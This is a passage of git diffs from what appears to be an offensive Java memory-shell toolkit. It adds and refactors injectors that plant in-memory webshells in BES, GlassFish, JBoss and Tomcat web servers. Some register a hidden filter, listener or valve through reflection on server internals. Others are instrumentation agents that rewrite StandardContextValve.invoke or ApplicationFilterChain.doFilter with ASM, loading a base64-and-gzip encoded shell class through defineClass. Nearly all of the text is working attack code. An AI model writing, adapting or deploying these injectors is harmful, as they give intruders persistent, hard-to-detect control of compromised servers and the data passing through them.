java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
public class BesFilterInjector { public class BesFilterInjector {
Logger log = Logger.getLogger(BesFilterInjector.class.getName()); Logger log = Logger.getLogger(BesFilterInjector.class.getName());
static {
new BesFilterInjector();
}
public BesFilterInjector() { public BesFilterInjector() {
try { try {
List<Object> contexts = getContext(); List<Object> contexts = getContext();
@@ -45,6 +41,10 @@ public class BesFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
/**
* com.bes.enterprise.webtier.core.DefaultContext
* /opt/bes/lib/bes-engine.jar
*/
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -54,21 +54,25 @@ public class BesFilterInjector {
Collection<?> values = childrenMap.values(); Collection<?> values = childrenMap.values();
for (Object value : values) { for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) { contexts.addAll(children.values());
contexts.add(context);
}
} }
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
return classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -87,8 +91,9 @@ public class BesFilterInjector {
log.warning("filter already exists"); log.warning("filter already exists");
return; return;
} }
Object filterDef = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterMap = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance(); Object filterDef = contextClassLoader.loadClass("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance();
Object filterMap = contextClassLoader.loadClass("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilter", new Class[]{Filter.class}, new Object[]{filter}); invokeMethod(filterDef, "setFilter", new Class[]{Filter.class}, new Object[]{filter});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
@@ -100,7 +105,7 @@ public class BesFilterInjector {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} }
Constructor<?>[] constructors = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors(); Constructor<?>[] constructors = contextClassLoader.loadClass("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors();
constructors[0].setAccessible(true); constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef); Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs"); HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
@@ -6,7 +6,6 @@ import java.io.IOException;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -14,12 +13,6 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
*/ */
public class BesListenerInjector { public class BesListenerInjector {
static {
new BesListenerInjector();
}
Logger log = Logger.getLogger(BesListenerInjector.class.getName());
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -50,21 +43,25 @@ public class BesListenerInjector {
Collection<?> values = childrenMap.values(); Collection<?> values = childrenMap.values();
for (Object value : values) { for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) { contexts.addAll(children.values());
contexts.add(context);
}
} }
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
return classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -127,23 +124,22 @@ public class BesListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try { try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
@@ -163,8 +159,6 @@ public class BesListenerInjector {
} }
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) { } catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesValveInjector { public class BesValveInjector {
static {
new BesValveInjector();
}
public BesValveInjector() { public BesValveInjector() {
try { try {
List<Object> contexts = getContext(); List<Object> contexts = getContext();
@@ -46,21 +42,25 @@ public class BesValveInjector {
Collection<?> values = childrenMap.values(); Collection<?> values = childrenMap.values();
for (Object value : values) { for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) { contexts.addAll(children.values());
contexts.add(context);
}
} }
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
return classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -92,6 +92,7 @@ public class BesValveInjector {
return; return;
} }
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve"); Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
// com.bes.enterprise.webtier.core.DefaultPipeline
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
} }
@@ -145,7 +146,7 @@ public class BesValveInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try { try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
@@ -165,8 +166,6 @@ public class BesValveInjector {
} }
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) { } catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
@@ -0,0 +1,219 @@
package com.reajason.javaweb.memshell.injector.glassfish;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -0,0 +1,219 @@
package com.reajason.javaweb.memshell.injector.glassfish;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new GlassFishFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.injector.jboss; package com.reajason.javaweb.memshell.injector.glassfish;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
@@ -6,30 +6,21 @@ import java.io.IOException;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Date: 2022/11/01
* Author: pen4uin
* Description: Tomcat Filter 注入器 Tested version jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author ReaJason * @author ReaJason
*/ */
public class JbossFilterInjector { public class GlassFishFilterInjector {
static {
new JbossFilterInjector();
}
public JbossFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -43,74 +34,111 @@ public class JbossFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public GlassFishFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
// skip glassfish /osgi context
if (getFieldValue(context, "serverContext") != null) {
Object shell = getShell(context);
inject(context, shell);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* com.sun.enterprise.web.WebModule
* /xxx/modules/web-glue.jar
*/
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values(); for (Object value : childrenMap.values()) {
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) { contexts.addAll(children.values());
contexts.add(context);
}
} }
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader webAppClassLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
return Class.forName(getClassName(), false, classLoader).newInstance(); return webAppClassLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance(); return clazz.newInstance();
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object shell) throws Exception {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected"); System.out.println("filter already injected");
return; return;
} }
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); Object filterDef;
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); Object filterMap;
ClassLoader contextClassLoader = context.getClass().getClassLoader();
try {
// tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
} catch (Exception e2) {
// tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
}
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()}); try {
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
} catch (Exception e) {
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{shell.getClass()});
}
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); Constructor<?>[] constructors;
try { try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} catch (Exception e) {
// tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
}
try {
// v7.0.0 以上
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception e) { } catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} }
Constructor<?>[] constructors; Constructor filterConfigConstructor;
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
constructors[0].setAccessible(true); filterConfigConstructor.setAccessible(true);
try { Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
